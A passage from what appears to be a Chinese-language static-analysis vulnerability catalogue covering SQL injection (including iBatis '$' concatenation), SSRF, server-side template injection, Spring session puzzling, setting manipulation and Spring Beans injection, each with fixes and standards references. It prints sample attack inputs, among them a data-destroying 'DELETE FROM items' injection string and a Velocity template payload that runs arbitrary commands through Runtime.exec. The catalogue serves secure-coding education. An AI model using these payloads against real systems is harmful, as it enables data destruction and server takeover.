造成 SQL injection 攻击的根本原因在于攻击者可以改变 SQL 查询的上下文,使程序员原本要作为数据解析的数值,被篡改为命令了。当构造一个 SQL 查询时,程序员应当清楚,哪些输入的数据将会成为命令的一部分,而哪些仅仅是作为数据。参数化 SQL 指令可以防止直接窜改上下文,避免几乎所有的 SQL injection 攻击。参数化 SQL 指令是用常规的 SQL 字符串构造的,但是当需要加入用户输入的数据时,它们就会创建捆绑参数,这些捆绑参数是一些占位符,用来存放随后插入的数据。捆绑参数可以使程序员清楚地分辨数据库中的数据,即其中有哪些输入可以看作命令的一部分,哪些输入可以看作数据。这样,当程序准备执行某个指令时,它可以详细地告知数据库,每一个捆绑参数所使用的运行时的值,而不会将数据解析成命令。
可以将例 1 改写成使用参数化 SQL 指令(替代用户输入连续的字符串),如下所示:
1 | ... |
下面是 Android 的等同内容:
1 | ... |
更加复杂的情况总是出现在生成报表的代码中,用户的输入会改变 SQL 指令的结构,比如在 WHERE 子句中加入动态的约束条件。不要因为这一需求,就无条件地让查询字符串接受连续的用户输入。当必须要根据用户输入来改变指令命令结构时,可以使用间接的方法来防止 SQL injection 攻击:创建一个合法的字符串集合,使其对应于可能要加入到 SQL 指令中的不同元素。在构造一个指令时,可使用来自用户的输入,以便从应用程序控制的值集合中进行选择。
REFERENCES
[1] S. J. Friedl SQL Injection Attacks by Example
[2] P. Litwin Stop SQL Injection Attacks Before They Stop You MSDN Magazine
[3] P. Finnigan SQL Injection and Oracle, Part One Security Focus
[4] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[5] IDS00-J. Prevent SQL Injection CERT
[6] INJECT-2: Avoid dynamic SQL Oracle
[7] Standards Mapping - Common Weakness Enumeration CWE ID 89
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[10] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[11] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2010 A1 Injection
[14] Standards Mapping - OWASP Top 10 2013 A1 Injection
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[21] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 089
[22] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 089
[23] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 089
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[34] Standards Mapping - Web Application Security Consortium 24 + 2 SQL Injection
[35] Standards Mapping - Web Application Security Consortium Version 2.00 SQL Injection (WASC-19)
SQL Injection: iBatis Data Map
ABSTRACT
通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令。
EXPLANATION
SQL injection 错误在以下情况下发生:
数据从一个不可信赖的数据源进入程序。
数据用于动态地构造一个 SQL 查询。
使用 iBatis Data Map 可以指定 SQL 指令中的动态参数,通常使用 # 字符来定义它们,如:
1 | <select id="getItems" parameterClass="MyClass" resultClass="items"> |
变量名称周围的 # 字符表示 iBatis 将使用 userName 变量创建参数化查询。但是,iBatis 还允许使用 $ 字符将变量直接连接到 SQL 指令,使其易受 SQL injection 攻击。
例 1:以下代码动态地构造并执行了一个 SQL 查询,该查询可以搜索与指定名称相匹配的项。该查询仅会显示条目所有者与被授予权限的当前用户一致的条目。
1 | <select id="getItems" parameterClass="MyClass" resultClass="items"> |
但是,由于这个查询是动态构造的,由一个不变的基查询字符串和一个用户输入字符串连接而成,因此只有在 itemName 不包含单引号字符时,才会正确执行这一查询。如果一个用户名为 wiley 的攻击者为 itemName 输入字符串“name’ OR ‘a’=’a”,那么查询就会变成:
1 | SELECT * FROM items |
附加条件 OR ‘a’=’a’ 会使 where 从句永远评估为 true,因此该查询在逻辑上将等同于一个更为简化的查询:
1 | SELECT * FROM items; |
这种查询的简化会使攻击者绕过查询只返回经过验证的用户所拥有的条目的要求;而现在的查询则会直接返回所有储存在 items 表中的条目,不论它们的所有者是谁。
例 2:这个例子指出了将不同的恶意数值传递给在例 1 中构造和执行的查询时所带来的各种影响。如果一个用户名为 wiley 在 itemName 中输入字符串“name’; DELETE FROM items; –”,则该查询将会变为以下两个:
1 | SELECT * FROM items |
众多数据库服务器,其中包括 Microsoft(R) SQL Server 2000,都可以一次性执行多条用分号分隔的 SQL 指令。对于那些不允许运行用分号分隔的批量指令的数据库服务器,比如 Oracle 和其他数据库服务器,攻击者输入的这个字符串只会导致错误;但是在那些支持这种操作的数据库服务器上,攻击者可能会通过执行多条指令而在数据库上执行任意命令。
注意成对的连字符 (–);这在大多数数据库服务器上都表示下面的语句将作为注释使用,而不能加以执行 [4]。在这种情况下,注释字符的作用就是删除修改的查询指令中遗留的最后一个单引号。而在那些不允许这样加注注释的数据库中,通常攻击者可以如例 1 那样来攻击。如果攻击者输入字符串“name’); DELETE FROM items; SELECT * FROM items WHERE ‘a’=’a”就会创建如下三个有效指令:
1 | SELECT * FROM items |
避免 SQL injection 攻击的传统方法之一是,把它作为一个输入合法性检查的问题来处理,只接受列在白名单中的字符,或者识别并避免那些列在黑名单中的恶意数据。白名单方法是一种非常有效方法,它可以强制执行严格的输入检查规则,但是参数化的 SQL 指令所需维护更少,而且能提供更好的安全保障。而对于通常采用的列黑名单方式,由于总是存在一些小漏洞,所以并不能有效地防止 SQL injection 威胁。例如,攻击者可以:
— 把没有被黑名单引用的值作为目标
— 寻找方法以绕过对某一转义序列元字符的需要
— 使用存储过程来隐藏注入的元字符
手动去除 SQL 查询中的元字符有一定的帮助,但是并不能完全保护您的应用程序免受 SQL injection 攻击。
防范 SQL injection 攻击的另外一种常用方式是使用存储过程。虽然存储过程可以阻止某些类型的 SQL injection 攻击,但是对于绝大多数攻击仍无能为力。存储过程有助于避免 SQL injection 的常用方式是限制可作为参数传入的指令类型。但是,有许多方法都可以绕过这一限制,许多危险的表达式仍可以传入存储过程。所以再次强调,存储过程在某些情况下可以避免这种攻击,但是并不能完全保护您的应用系统抵御 SQL injection 的攻击。
RECOMMENDATIONS
造成 SQL injection 攻击的根本原因在于攻击者可以改变 SQL 查询的上下文,使程序员原本要作为数据解析的数值,被篡改为命令了。当构造一个 SQL 查询时,程序员应当清楚,哪些输入的数据将会成为命令的一部分,而哪些仅仅是作为数据。参数化 SQL 指令可以防止直接窜改上下文,避免几乎所有的 SQL injection 攻击。参数化 SQL 指令是用常规的 SQL 字符串构造的,但是当需要加入用户输入的数据时,它们就需要使用捆绑参数,这些捆绑参数是一些占位符,用来存放随后插入的数据。换言之,捆绑参数可以使程序员清楚地分辨数据库中的数据,即其中有哪些输入可以看作命令的一部分,哪些输入可以看作数据。这样,当程序准备执行某个指令时,它可以详细地告知数据库,每一个捆绑参数所使用的运行时的值,而不会被解析成对该命令的修改。
例 3:可以将例 1 重写为使用参数化 SQL 指令(替代用户输入连续的字符串),如下所示:
1 | <select id="getItems" parameterClass="MyClass" resultClass="items"> |
更加复杂的情况常常出现在报表生成代码中,因为这时需要通过用户输入来改变 SQL 指令的命令结构,比如在 WHERE 条件子句中加入动态的约束条件。不要因为这一需求,就无条件地接受连续的用户输入,从而创建查询语句字符串。当必须要根据用户输入来改变命令结构时,可以使用间接的方法来防止 SQL injection 攻击:创建一个合法的字符串集合,使其对应于可能要加入到 SQL 指令中的不同元素。在构造一个 SQL 指令时,可使用来自用户的输入,以便从应用程序控制的值集合中进行选择。
REFERENCES
[1] iBatis Working with Data Maps
[2] iBatis Data Mapper Developer Guide
[3] S. J. Friedl SQL Injection Attacks by Example
[4] P. Litwin Stop SQL Injection Attacks Before They Stop You MSDN Magazine
[5] P. Finnigan SQL Injection and Oracle, Part One Security Focus
[6] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[7] IDS00-J. Prevent SQL Injection CERT
[8] Standards Mapping - Common Weakness Enumeration CWE ID 89
[9] Standards Mapping - FIPS200 SI
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[11] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[12] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[13] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2010 A1 Injection
[15] Standards Mapping - OWASP Top 10 2013 A1 Injection
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[22] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 089
[23] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 089
[24] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 089
[25] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[35] Standards Mapping - Web Application Security Consortium 24 + 2 SQL Injection
[36] Standards Mapping - Web Application Security Consortium Version 2.00 SQL Injection (WASC-19)
Server-Side Request Forgery
ABSTRACT
应用程序将使用用户控制的数据启动与第三方系统的连接,以创建资源 URI。
EXPLANATION
当攻击者可以影响应用程序服务器建立的网络连接时,将会发生服务器端的请求伪造。网络连接源自于应用程序服务器内部 IP,因此攻击者将可以使用此连接来避开网络控制,并扫描或攻击没有以其他方式暴露的内部资源。
示例:在下列中,攻击者将能够控制服务器连接至的 URL。
1 | String url = request.getParameter("url"); |
攻击者劫持网络连接的能力取决于他可以控制的 URI 的特定部分以及用于建立连接的库。例如,控制 URI 方案将使攻击者可以使用不同于 http 或 https 的协议,类似于下面这样:
up://
ldap://
jar://
gopher://
mailto://
ssh2://
telnet://
expect://
攻击者将可以利用劫持的此网络连接执行下列攻击:
对内联网资源进行端口扫描。
避开防火墙。
攻击运行于应用程序服务器或内联网上易受攻击的程序。
使用 Injection 攻击或 CSRF 攻击内部/外部 Web 应用程序。
使用 file:// 方案访问本地文件。
在 Windows 系统上,file:// 方案和 UNC 路径可以允许攻击者扫描和访问内部共享。
执行 DNS 缓存中毒攻击。
RECOMMENDATIONS
请勿基于用户控制的数据建立网络连接,并要确保请求发送给预期的目的地。如果需要提供用户数据来构建目的地 URI,请采用间接方法:例如创建一份合法资源名的列表,并且规定用户只能选择其中的文件名。通过这种方法,用户就不能直接由自己来指定资源的名称了。
但在某些情况下,这种方法并不可行,因为这样一份合法资源名的列表过于庞大、难以跟踪。因此,程序员通常在这种情况下采用黑名单的办法。在输入之前,黑名单会有选择地拒绝或避免潜在的危险字符。但是,任何这样一份黑名单都不可能是完整的,而且将随着时间的推移而过时。更好的方法是创建一份白名单,允许其中的字符出现在资源名称中,且只接受完全由这些被认可的字符组成的输入。
此外,如果需要,还要确保用户输入仅用于在目标系统上指定资源,但 URI 方案、主机和端口由应用程序控制。这样就可以大大减小攻击者能够造成的损害。
REFERENCES
[1] Alexander Polyakov SSRF vs. Business critical applications BlackHat 2012
[2] SSRF bible. Cheatsheet ONSec Labs
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 918
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[8] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[9] Standards Mapping - OWASP Top 10 2007 A4 Insecure Direct Object Reference
[10] Standards Mapping - OWASP Top 10 2010 A4 Insecure Direct Object References
[11] Standards Mapping - OWASP Top 10 2013 A4 Insecure Direct Object References
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3600 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3600 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3600 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3600 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3600 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3600 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3600 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Abuse of Functionality (WASC-42)
Server-Side Template Injection
ABSTRACT
用户控制的数据用作模板引擎的模板,使得攻击者能够访问模板上下文,并在某些情况下在应用程序服务器中注入和运行任意代码。
EXPLANATION
模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。
示例 1:下面的示例显示如何从 HTTP 请求中检索模板并进行呈现。
1 | // Set up the context data |
上述示例使用了 Velocity 作为模板引擎。对于该引擎,攻击者可以提交以下模板以在服务器上运行任意命令:
1 | $name.getClass().forName("java.lang.Runtime").getRuntime().exec(<COMMAND>) |
RECOMMENDATIONS
尽可能不要让用户提供模板。如果需要由用户提供模板,请谨慎执行输入验证,以防止在模板中注入恶意代码。
REFERENCES
[1] Server-Side Template Injection: RCE for the modern webapp
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 95
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[8] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2010 A1 Injection
[10] Standards Mapping - OWASP Top 10 2013 A1 Injection
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[17] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Session Puzzling: Spring
ABSTRACT
攻击者可以修改 Spring 会话属性,这可能会导致滥用应用程序逻辑。
EXPLANATION
使用 @SessionAttributes 标注的类意味着,Spring 会将更改复制到会话对象中的模型属性。如果攻击者能够在模型属性中存储任意值,这些更改将在会话对象中复制,并可能得到应用程序信任。如果会话属性使用用户应当无法修改的可信赖数据进行初始化,攻击者则能够实施 Session Puzzling 攻击,滥用应用程序逻辑。
示例 1:以下控制器包含一种在成功登录时向会话加载用户数据的方法。
1 | @Controller |
另一个控制器处理密码重置功能。它尝试从会话加载 User 实例,因为此类使用 @SessionAttributes(“user”) 标注,并使用它来验证密码重置问题。
1 | @Controller |
开发人员的意图是从会话加载 user 实例,此会话是在登录过程中存储实例的位置。然而,Spring 将检查请求,并且尝试将其数据绑定到模型 user 实例。如果接收的请求包含可绑定到 User 类的数据,Spring 会将接收的数据合并到用户会话属性中。通过在 answerReset 查询参数中提交任意答案并提交相同值覆盖会话中存储的值,可以滥用这种情况。这样,攻击者可以为随机用户设置任意新密码。
RECOMMENDATIONS
使用 @SessionAttributes 标注时,请特别注意用户能够重写的会话属性。确保这些属性可被用户修改,且不包含任何可被攻击者通过滥用 Spring 自动绑定功能滥用的安全敏感数据。
示例 2:以下控制器使用 @SessionAttribute 标注(在方法参数上,不能与 @SessionAttributes 混淆)从会话对象加载用户实例,不合并任何传入请求参数。
1 | @Controller |
REFERENCES
[1] Alexey Tyurin Spring MVC and Autobinding vulns.
[2] Alexey Tyurin Autobinding vulns and Spring MVC
[3] INPUT-1: Validate inputs Oracle
[4] Standards Mapping - FIPS200 IA
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-23 Session Authenticity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M9 Improper Session Handling
[7] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[8] Standards Mapping - OWASP Top 10 2007 A7 Broken Authentication and Session Management
[9] Standards Mapping - OWASP Top 10 2010 A3 Broken Authentication and Session Management
[10] Standards Mapping - OWASP Top 10 2013 A2 Broken Authentication and Session Management
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.3
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.7
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3090 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3405 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3405 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3405 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3405 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3405 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3405 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002250 CAT II, APSC-DV-002260 CAT II, APSC-DV-002270 CAT II, APSC-DV-002280 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002250 CAT II, APSC-DV-002260 CAT II, APSC-DV-002270 CAT II, APSC-DV-002280 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002250 CAT II, APSC-DV-002260 CAT II, APSC-DV-002270 CAT II, APSC-DV-002280 CAT II
Setting Manipulation
ABSTRACT
允许对系统设置进行外部控制可以导致服务中断或意外的应用程序行为。
EXPLANATION
当攻击者能够通过控制某些值来监控系统的行为、管理特定的资源、或在某个方面影响应用程序的功能时,即表示发生了 Setting Manipulation 漏洞。
由于 Setting Manipulation 漏洞影响到许多功能,因此,对它的任何说明都必然是不完整的。与其在 Setting Manipulation 这一类中寻找各个功能之间的紧密关系,不如往后退一步,考虑有哪些系统数值类型不能由攻击者来控制。
例 1:以下 Java 代码片段从 HttpServletRequest 中读取一个字符串,并将该字符串设置为数据库 Connection 中的当前目录。
1 | ... |
在该例子中,攻击者通过提交一个不存在的目录名,或者连接到数据库中未授权的部分,从而可以引出一个错误。
总之,应禁止使用用户提供的数据或通过其他途径获取不可信任的数据,以防止攻击者控制某些敏感的数值。虽然攻击者控制这些数值的影响不会总能立刻显现,但是不要低估了攻击者的攻击力。
RECOMMENDATIONS
禁止由不可信赖的数据来控制敏感数值。在发生此种错误的诸多情况中,应用程序预期通过某种特定的输入,仅得到某一区间内的数值。如果可能的话,应用程序应仅通过输入从预定的安全数值集合中选择数据,而不是依靠输入得到期望的数值,从而确保应用程序行为得当。针对恶意输入,传递给敏感函数的数值应当是该集合中的某些安全选项的默认设置。即使无法事先了解安全数值集合,通常也可以检验输入是否在某个安全的数值区间内。若上述两种验证机制均不可行,则必须重新设计应用程序,以避免应用程序接受由用户提供的潜在危险数值。
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 15
[3] Standards Mapping - MISRA C 2012 Rule 1.3
[4] Standards Mapping - MISRA C++ 2008 Rule 0-3-1
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M8 Security Decisions Via Untrusted Inputs
[7] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[23] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Spring Beans Injection
ABSTRACT
加载用户控制的 Bean 定义资源,可能让攻击者有机会在服务器上执行任意代码、滥用应用程序逻辑和/或导致拒绝服务。
EXPLANATION
Spring 可以让开发人员从多个资源加载 Bean 定义,包括本地文件和远程 URL。如果攻击者能够控制 Bean 定义资源的内容,他们则能够注入恶意 Bean 定义,在初始化时执行任意代码。
示例:以下示例从用户控制的位置加载 Bean 定义资源:
1 | String beans = getBeanDefinitionFromUser(); |
RECOMMENDATIONS
不让用户控制 Bean 定义资源的位置。如果确实需要,请设置一些间接方法:创建一份合法资源列表,并且规定用户只能选择其中的资源。通过这种方法,用户就不能直接加载任意 Bean 定义资源了。
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 94, CWE ID 95
[3] Standards Mapping - FIPS200 SI
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[7] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[8] Standards Mapping - OWASP Top 10 2010 A1 Injection
[9] Standards Mapping - OWASP Top 10 2013 A1 Injection
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[16] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 094
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
